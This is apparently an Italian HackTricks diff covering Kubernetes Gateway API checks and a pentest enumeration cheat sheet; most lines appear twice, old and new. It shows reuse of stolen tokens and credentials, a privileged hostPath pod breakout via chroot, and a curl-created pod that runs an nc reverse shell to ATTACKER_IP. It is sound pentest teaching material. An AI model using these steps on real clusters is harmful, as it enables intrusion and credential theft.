Controlla i listener del Gateway, i namespace di route consentiti, `parentRefs` della Route, i `hostname`, i filter, i backend references e le status conditions, come ad esempio se la route è stata accepted. Una Route accepted da un shared Gateway può esporre un backend anche quando non esiste alcun oggetto Ingress legacy.
Controlla i listener di Gateway, i namespace delle route consentiti, i `parentRefs` delle Route, i hostname o i match SNI, i filter, i backend references e le status conditions come `Accepted`, `ResolvedRefs` e `Programmed`. Una Route accettata da un Gateway condiviso può esporre un backend anche quando non esiste alcun oggetto Ingress legacy.
Non controllare solo HTTPRoute. GRPCRoute, TLSRoute, TCPRoute e UDPRoute possono esporre servizi non-HTTP come porte admin, broker, database, gateway service-mesh o backend TLS pass-through. Rivedi anche gli oggetti `ReferenceGrant` per i riferimenti cross-namespace a backend o certificati e `BackendTLSPolicy` per l'identità TLS che il Gateway usa quando si connette ai Service backend. La backend TLS policy non è di per sé prova di reachability pubblica, ma è una prova utile quando una route di un Gateway programmato raggiunge un Service pronto con validazione dell'identità backend debole, condivisa o errata.
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,22 +4,22 @@
## Kubernetes Tokens
Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova di solito in un file indicato dalla **env var `KUBECONFIG`** o **dentro `~/.kube`**.
Se hai compromesso laccesso a una macchina, lutente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova di solito in un file indicato dalla **env var `KUBECONFIG`** oppure **dentro `~/.kube`**.
In questa cartella potresti trovare file di configurazione con **tokens e configurazioni per connettersi all'API server**. In questa cartella puoi anche trovare una cache folder con informazioni recuperate in precedenza.
In questa cartella potresti trovare file di configurazione con **token e configurazioni per connettersi allAPI server**. In questa cartella puoi anche trovare una cartella cache con informazioni recuperate in precedenza.
Se hai compromesso un pod dentro un ambiente kubernetes, ci sono altri posti dove puoi trovare token e informazioni sul K8 env attuale:
Se hai compromesso un pod dentro un ambiente kubernetes, ci sono altri posti in cui puoi trovare token e informazioni sullattuale K8 env:
### Service Account Tokens
Prima di continuare, se non sai cos'è un service in Kubernetes ti suggerirei di **seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.**
Prima di continuare, se non sai cosè un service in Kubernetes ti suggerirei di **seguire questo link e leggere almeno le informazioni sullarchitettura di Kubernetes.**
Tratto dalla [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) di Kubernetes:
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
**ServiceAccount** è un oggetto gestito da Kubernetes e usato per fornire un'identità ai processi che girano in un pod.\
Ogni service account ha un secret associato e questo secret contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le claims tra due parti.
**ServiceAccount** è un oggetto gestito da Kubernetes e usato per fornire unidentità ai processi che girano in un pod.\
Ogni service account ha un secret associato e questo secret contiene un bearer token. Si tratta di un JSON Web Token (JWT), un metodo per rappresentare claims in modo sicuro tra due parti.
Di solito **una** delle directory:
@@ -33,7 +33,7 @@ contiene i file:
- **namespace**: Indica il namespace corrente
- **token**: Contiene il **service token** del pod corrente.
Ora che hai il token, puoi trovare l'API server dentro la variabile d'ambiente **`KUBECONFIG`**. Per maggiori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`**
Ora che hai il token, puoi trovare lAPI server dentro la variabile dambiente **`KUBECONFIG`**. Per ulteriori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`**
Il service account token viene firmato dalla chiave presente nel file **sa.key** e validato da **sa.pub**.
@@ -47,28 +47,28 @@ Posizione predefinita su **Minikube**:
### Hot Pods
_**Hot pods are**_ pod che contengono un privileged service account token. Un privileged service account token è un token che ha il permesso di eseguire task privilegiati come elencare secrets, creare pod, ecc.
_**Hot pods are**_ pods contenenti un privileged service account token. Un privileged service account token è un token che ha il permesso di svolgere task privilegiati come elencare secrets, creare pod, ecc.
## RBAC
Se non sai cos'è **RBAC**, **leggi questa sezione**.
Se non sai cosè **RBAC**, **leggi questa sezione**.
## GUI Applications
- **k9s**: Una GUI che enumera un kubernetes cluster dal terminale. Controlla i comandi in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Scrivi `:namespace` e seleziona all per poi cercare risorse in tutti i namespace.
- **k8slens**: Offre alcuni giorni di free trial: [https://k8slens.dev/](https://k8slens.dev/)
- **k8slens**: Offre alcuni giorni di prova gratuiti: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
Per enumerare un ambiente K8s hai bisogno di un paio di cose:
- Un **valid authentication token**. Nella sezione precedente abbiamo visto dove cercare un user token e un service account token.
- L'**address (**_**https://host:port**_**) dell'API di Kubernetes**. Di solito si trova nelle variabili d'ambiente e/o nel file kube config.
- **Optional**: Il **ca.crt per verificare l'API server**. Si può trovare negli stessi posti in cui si trova il token. Questo è utile per verificare il certificato dell'API server, ma usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non ne avrai bisogno.
- Un **valid authentication token**. Nella sezione precedente abbiamo visto dove cercare un token utente e un service account token.
- L**address (**_**https://host:port**_**) della Kubernetes API**. Questo si può di solito trovare nelle variabili dambiente e/o nel kube config file.
- **Optional**: Il **ca.crt per verificare lAPI server**. Si può trovare negli stessi posti in cui si può trovare il token. Questo è utile per verificare il certificato dellAPI server, ma usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non ne avrai bisogno.
Con quei dettagli puoi **enumerate kubernetes**. Se l'**API** per qualche motivo è **accessible** attraverso **Internet**, puoi semplicemente scaricare quelle informazioni ed enumerare la piattaforma dal tuo host.
Con questi dettagli puoi **enumerate kubernetes**. Se l**API** per qualche motivo è **accessibile** tramite **Internet**, puoi semplicemente scaricare quelle informazioni ed enumerare la piattaforma dal tuo host.
Tuttavia, di solito l'**API server è dentro una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il binario** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux), o usare **`curl/wget/anything`** per eseguire raw HTTP requests all'API server.
Tuttavia, di solito l**API server è dentro una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il binario** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux), o usare **`curl/wget/anything`** per eseguire raw HTTP requests allAPI server.
### Differences between `list` and `get` verbs
@@ -76,14 +76,14 @@ Con i permessi **`get`** puoi accedere alle informazioni di specifici asset (_op
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Se hai il permesso **`list`**, puoi eseguire richieste API per elencare un tipo di asset (_opzione `get` in `kubectl`_):
Se hai il permesso **`list`**, sei autorizzato a eseguire richieste API per elencare un tipo di asset (_opzione `get` in `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Se hai il permesso **`watch`**, puoi eseguire richieste API per monitorare gli asset:
Se hai il permesso **`watch`**, ti è consentito eseguire richieste API per monitorare gli asset:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Aprono una connessione in streaming che ti restituisce il manifest completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo).
Aprono una connessione streaming che ti restituisce il manifest completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo).
> [!CAUTION]
> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se vuoi accedere ai dati devi usare `describe` invece di `get`
### Usando curl
### Using curl
Dall'interno di un pod puoi usare diverse variabili env:
Da dentro un pod puoi usare diverse variabili env:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,17 +109,17 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Di default il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" dello stesso range è l'endpoint kube-api).
> Di default il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai lindirizzo del server DNS di kubernetes (il ".1" dello stesso intervallo è lendpoint kube-api).
### Usando kubectl
### Using kubectl
Avendo il token e l'indirizzo dell'API server puoi usare kubectl o curl per accedervi come indicato qui:
Avendo il token e lindirizzo del server API puoi usare kubectl o curl per accedervi come indicato qui:
Di default, l'APISERVER comunica con lo schema `https://`
Di default, lAPISERVER comunica con lo schema `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> se non c'è `https://` nell'url, potresti ottenere un errore come Bad Request.
> se non c'è `https://` nell'url, potresti ottenere un Errore come Bad Request.
Puoi trovare un [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso.
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
Se sei riuscito a rubare le credenziali di alcuni utenti, puoi **configurarle localmente** usando qualcosa come:
Se sei riuscito a rubare alcune credenziali degli utenti puoi **configurarle localmente** usando qualcosa come:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Ottenere le Risorse Supportate
### Ottieni le risorse supportate
Con queste info saprai tutti i servizi che puoi elencare
Con queste informazioni saprai tutti i servizi che puoi elencare
{{#tabs }}
{{#tab name="kubectl" }}
@@ -174,22 +174,48 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }}
{{#endtabs }}
### Metadata degli oggetti da controllare
### Metadati degli oggetti da controllare
Quando puoi leggere un oggetto, esporta il YAML o JSON completo invece di affidarti solo alloutput della tabella o a `describe`. Il contesto di sicurezza più utile spesso si trova nei campi generici delloggetto che esistono in molti tipi di risorse:
Quando puoi leggere un oggetto, esporta il YAML o JSON completo invece di affidarti solo alloutput in tabella o a `describe`. Il contesto di sicurezza più utile spesso si trova in campi generici delloggetto che esistono in molti tipi di risorse:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` e `kind` identificano loggetto esatto ed evitano confusione tra oggetti con lo stesso nome in namespace o API groups diversi.
- `metadata.labels` e selectors collegano Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automazione. Seguire i selectors è spesso il modo più rapido per identificare i real backend pods di un Service.
- `metadata.annotations` può leak contesto operativo come comportamento ingress, impostazioni cloud load balancer, metadati GitOps o Helm, eccezioni di policy e configurazione service mesh. Non dovrebbero contenere secrets, ma nei cluster reali spesso espongono indizi utili.
- `metadata.ownerReferences` mostra la catena di controllo. Se un Pod è posseduto da un ReplicaSet posseduto da un Deployment, modificare o eliminare solo il Pod di solito non risolve la causa.
- `metadata.finalizers` e `metadata.deletionTimestamp` spiegano risorse bloccate in eliminazione e possono rivelare cleanup controllers o trucchi di persistence/disruption.
- `status`, Events e conditions possono rivelare posizionamento dei node, pod IPs, image IDs, messaggi di errore, problemi di scheduling, admission denials e avanzamento del controller. Sono indizi utili, ma gli audit logs sono comunque necessari per provare chi ha eseguito unazione.
- `metadata.uid`, `name`, `namespace`, `apiVersion` e `kind` identificano loggetto esatto ed evitano confusione tra oggetti con lo stesso nome in namespace o gruppi API diversi.
- `metadata.labels` e i selector collegano Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automation. Seguire i selector è spesso il modo più rapido per identificare i veri backend pods di un Service.
- `metadata.annotations` può leak contesto operativo come comportamento ingress, impostazioni cloud load balancer, metadati GitOps o Helm, eccezioni di policy e configurazione service mesh. Non dovrebbero contenere secrets, ma i cluster reali spesso espongono indizi utili.
- `metadata.ownerReferences` mostra la lineage del controller. Se un Pod è posseduto da un ReplicaSet posseduto da un Deployment, modificare o eliminare solo il Pod di solito non risolve la causa.
- `metadata.finalizers` e `metadata.deletionTimestamp` spiegano risorse bloccate in deletion e possono rivelare cleanup controllers o trick di persistence/disruption.
- `status`, Events e conditions possono rivelare posizionamento dei node, pod IP, image IDs, messaggi di errore, problemi di scheduling, admission denials e avanzamento del controller. Sono indizi utili, ma i audit logs sono ancora necessari per dimostrare chi ha eseguito unazione.
### Get Current Privileges
### Dynamic Resource Allocation and device evidence
Se il cluster usa GPU, NIC, FPGA o altro hardware specializzato, verifica se è presente Kubernetes Dynamic Resource Allocation (DRA). DRA usa oggetti `resource.k8s.io` come `DeviceClass`, `ResourceSlice`, `ResourceClaim` e `ResourceClaimTemplate` per descrivere i device disponibili e reclamarli per i Pods. Questi oggetti possono rivelare quali node possono accedere a hardware di valore, quale driver lo gestisce e quale workload ha unallocazione.
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
Durante la review, limita le scritture sugli oggetti `DeviceClass` e `ResourceSlice` con scope di cluster agli admin e ai driver DRA, e mantieni i diritti su `ResourceClaim` / `ResourceClaimTemplate` limitati ai namespace che ne hanno bisogno. I permessi del driver per aggiornare lo status di `ResourceClaim` dovrebbero essere espliciti e ristretti. Sui nodi, la kubelet PodResources API è comunemente esposta tramite `/var/lib/kubelet/pod-resources/kubelet.sock`; i DaemonSets di monitoring possono montare quella directory per ispezionare i device assegnati, quindi rivedi quei Pod come altri privileged node agents.
### ClusterTrustBundle and add-on certificate trust
I cluster recenti possono esporre oggetti `ClusterTrustBundle` nel gruppo API `certificates.k8s.io`. Sono bundle di trust anchor X.509 con scope di cluster che i Pod possono montare tramite projected volumes. Un ampio accesso in lettura è previsto, ma laccesso in scrittura è sensibile perché modificare i trusted roots può influire su webhooks, aggregated APIs, service meshes e applicazioni che consumano materiale CA distribuito dal cluster.
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory.
### Ottieni i privilegi attuali
{{#tabs }}
{{#tab name="kubectl" }}
@@ -212,7 +238,7 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Un altro modo per verificare i tuoi privilegi è usare lo strumento: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Un altro modo per controllare i tuoi privilege è usare lo strumento: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Puoi saperne di più su **Kubernetes RBAC** in:
@@ -220,13 +246,13 @@ Puoi saperne di più su **Kubernetes RBAC** in:
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Una volta che sai quali privilegi** hai, controlla la seguente pagina per capire **se puoi abusarne** per elevare i privilegi:
**Una volta che sai quali privilege** hai, controlla la seguente pagina per capire **se puoi abuse them** per escalare privilege:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Ottieni i ruoli degli altri
### Get Others roles
{{#tabs }}
{{#tab name="kubectl" }}
@@ -244,7 +270,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
{{#endtab }}
{{#endtabs }}
### Ottenere i namespaces
### Ottenere i namespace
Kubernetes supporta **multiple virtual clusters** supportati dallo stesso physical cluster. Questi virtual clusters sono chiamati **namespaces**.
@@ -262,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }}
{{#endtabs }}
### Ottenere secrets
### Ottieni secrets
{{#tabs }}
{{#tab name="kubectl" }}
@@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
Se puoi leggere secrets, puoi usare le seguenti linee per ottenere i privilegi associati a ogni token:
Se puoi leggere i secret puoi usare le seguenti linee per ottenere i privilegi relativi a ciascun token:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Ottieni Service Accounts
### Ottenere Service Accounts
Come discusso all'inizio di questa pagina **quando un pod viene eseguito, di solito gli viene assegnato un service account**. Pertanto, elencare i service accounts, i loro permessi e dove sono in esecuzione può permettere a un utente di escalare i privilegi.
Come discusso all'inizio di questa pagina **quando un pod viene eseguito, di solito gli viene assegnato un service account**. Pertanto, elencare i service account, i loro permessi e dove sono in esecuzione può consentire a un utente di elevare i privilegi.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -303,9 +329,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }}
{{#endtabs }}
### Ottieni Deployments
### Ottenere i Deployment
I Deployments specificano lo stato desiderato per i workload di applicazioni stateless. Creano ReplicaSets, e quei ReplicaSets creano Pods.
I Deployment specificano lo stato desiderato per i workload delle applicazioni stateless. Creano ReplicaSets, e quei ReplicaSets creano Pod.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -322,9 +348,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
{{#endtab }}
{{#endtabs }}
### Ottenere i StatefulSets
### Ottieni StatefulSets
StatefulSets gestiscono i Pods che necessitano di nomi stabili, comportamento di rollout ordinato e spesso volumi persistenti per replica.
Gli StatefulSets gestiscono Pod che necessitano di nomi stabili, comportamento di rollout ordinato e spesso volumi persistenti per replica.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -341,9 +367,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
{{#endtab }}
{{#endtabs }}
### Ottenere Pods
### Ottenere i Pods
I Pods sono i veri **containers** che **verranno eseguiti**.
I Pods sono i veri **containers** che verranno **eseguiti**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -360,9 +386,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
{{#endtab }}
{{#endtabs }}
### Ottenere i Services
### Ottieni Services
I **services** di Kubernetes sono usati per **esporre un service in una porta e IP specifici** (che agiranno come load balancer per i pods che stanno effettivamente offrendo il service). È interessante saperlo per capire dove puoi trovare altri services da provare ad attaccare.
I **services** di Kubernetes sono usati per **esporre un servizio su una porta e IP specifici** (che fungeranno da load balancer verso i pod che in realtà offrono il servizio). È utile saperlo per trovare altri services da provare ad attaccare.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -399,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### Ottenere i DaemonSets
I **DaemonSets** assicurano che un **specifico Pod sia in esecuzione su tutti i nodi selezionati** del cluster. Se elimini il DaemonSet, anche i Pod gestiti da esso verranno rimossi.
I **DaemonSets** assicurano che un **Pod specifico sia in esecuzione su tutti i nodi selezionati** del cluster. Se elimini il DaemonSet, verranno rimossi anche i Pod gestiti da esso.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -417,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
### Ottieni Jobs
I Jobs creano Pods che vengono eseguiti fino al completamento. Sono comunemente usati per migrazioni, backup, lavoro batch e attività amministrative una tantum.
I Jobs creano Pods che vengono eseguiti fino al completamento. Sono comunemente usati per migrazioni, backup, batch work e attività amministrative one-off.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -434,9 +460,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
{{#endtab }}
{{#endtabs }}
### Ottenere i CronJob
### Ottenere CronJobs
I CronJob usano una pianificazione simile a quella di crontab per creare Job che avviano Pod per l'esecuzione di attività.
I CronJobs usano una pianificazione simile a crontab per creare Jobs che avviano Pods per lesecuzione di task-style.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
### Ottenere configMap
configMap contiene sempre molte informazioni e file di configurazione forniti alle app in esecuzione in kubernetes. Di solito puoi trovare molte password, secret, token che vengono usati per connettersi e autenticarsi verso altri servizi interni/esterni.
configMap contiene sempre molte informazioni e file di configurazione che vengono forniti alle app che girano in kubernetes. Di solito puoi trovare molte password, secrets, token usati per connettersi e autenticarsi ad altri servizi interni/esterni.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -471,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### Ottieni Network Policies / Cilium Network Policies
### Ottenere Network Policies / Cilium Network Policies
{{#tabs }}
{{#tab name="First Tab" }}
@@ -480,10 +506,7 @@ k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{{#endtab }}
{{#endtabs }}
### Ottieni tutto / Tutti
### Ottenere tutto / Tutti
{{#tabs }}
{{#tab name="kubectl" }}
@@ -503,7 +526,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }}
{{#endtabs }}
### **Ottenere i consumi dei Pod**
### **Ottieni i consumi dei Pods**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -515,19 +538,19 @@ k top pod --all-namespaces
## Interagire con il cluster senza usare kubectl
Dato che il control plane di Kubernetes espone una REST-ful API, puoi costruire manualmente richieste HTTP e inviarle con altri strumenti, come **curl** o **wget**.
Poiché il control plane di Kubernetes espone una API RESTful, puoi creare manualmente richieste HTTP e inviarle con altri tool, come **curl** o **wget**.
### Uscire dal pod
Se sei in grado di creare nuovi pod potresti essere in grado di uscirne verso il node. Per farlo devi creare un nuovo pod usando un file yaml, passare al pod creato e poi fare chroot nel sistema del node. Puoi usare pod già esistenti come riferimento per il file yaml, dato che mostrano le immagini e i path esistenti.
Se sei in grado di creare nuovi pod, potresti riuscire a uscirne e raggiungere il node. Per farlo devi creare un nuovo pod usando un file yaml, passare al pod creato e poi eseguire chroot nel system del node. Puoi usare i pod già esistenti come riferimento per il file yaml, poiché mostrano immagini e path esistenti.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le label del nodo
> se hai bisogno di creare un pod sul nodo specifico, puoi usare il seguente comando per ottenere le label sul nodo
>
> `k get nodes --show-labels`
>
> Di solito, kubernetes.io/hostname e node-role.kubernetes.io/master sono entrambe buone label da selezionare.
> Comunemente, kubernetes.io/hostname e node-role.kubernetes.io/master sono entrambe buone label per selezionare.
Poi crei il tuo file attack.yaml
```yaml
@@ -561,7 +584,7 @@ restartPolicy: Never
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
Dopo di c crei il pod
Dopo di che crei il pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
@@ -569,7 +592,7 @@ Ora puoi passare al pod creato come segue
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
E infine fai chroot nel sistema del nodo
E infine fai chroot nel sistema del node
```bash
chroot /root /bin/bash
```
@@ -605,7 +628,7 @@ volumes:
hostPath:
path: /
```
Creare il pod con curl:
Crea il pod con curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -621,9 +644,9 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminare un pod
### Elimina un pod
Eliminare un pod con curl:
Elimina un pod con curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -675,7 +698,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Creare un Role
### Crea un Role
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -693,7 +716,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Cancellare un Role
### Eliminare un Role
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -4,16 +4,16 @@
## Introduzione
In Kubernetes, si osserva che un comportamento di default consente la creazione di connessioni tra **tutti i container che risiedono sullo stesso node**. Questo vale indipendentemente dalle differenze di namespace. Tale connettività arriva fino al **Layer 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **malicious container** di eseguire un **ARP spoofing attack** contro altri container situati sullo stesso node. Durante un tale attack, il malicious container può intercettare o modificare in modo ingannevole il traffico di rete destinato ad altri container.
